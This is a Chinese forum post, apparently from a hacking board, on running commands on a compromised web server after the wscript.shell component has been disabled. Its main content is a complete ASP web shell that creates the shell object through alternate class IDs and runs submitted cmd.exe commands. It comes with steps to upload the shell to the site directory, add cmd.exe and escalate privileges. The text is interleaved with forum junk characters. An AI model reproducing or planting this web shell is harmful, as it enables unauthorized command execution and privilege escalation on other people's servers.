找回密码
 立即注册
查看: 2505|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。, b. K7 K7 l8 r! v' p
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。) V9 \1 r$ `6 W5 A
要想让运行命令可以试试这种方法,成功率为五五之数。- M; T3 K0 F8 t$ m& {0 N# G
把下面代码复制:
& |5 `4 q& W  _$ l0 k' u<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
* t8 b( t* r2 V2 F& n: ]% X) @<%if err then%>
$ m$ e$ h# D; @6 h9 a8 f$ P<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>, c3 f& r% k' m8 ~& C& ~* \
<%
% r1 o5 m& L5 H. f! s& i& K( yend if) `4 `7 K0 T( c: a' O; u8 f, Q; z
response.write("<textarea readonly cols=80 rows=20>")
/ j, T* D! `* S+ G* [; d& z, SOn Error Resume Next
1 X% t) ]& [# F2 ~9 J2 mresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall6 M: M6 r9 T# P. P& r1 ^
response.write("</textarea>")
. X# L! L0 A& v7 d" W0 {% E" jresponse.write("<form method='post'>")* y  o: F+ [- E2 I
response.write("<input type=text name='c' size=60><br>")
% j2 n! i: e; {  o# q) j$ r2 ?4 ?response.write("<input type=submit value='执行'></form>")( {+ u' L/ r8 W# K; y
%>
$ V3 w6 c7 q$ D' h" _6 v4 L; J! h! v3 w, U( K/ t+ F) q$ z# }' r3 e
保存为一个asp文件,然后传到网站目录上去
9 r3 J! N8 h! D, Z: \运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。8 p( ]  q" \9 H2 _6 L1 d+ H: }- |% q
我用此成功运行过cacls命令。( E4 b+ e, W: b# W9 k2 t4 a
$ f$ W9 k! x3 M9 {4 B
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表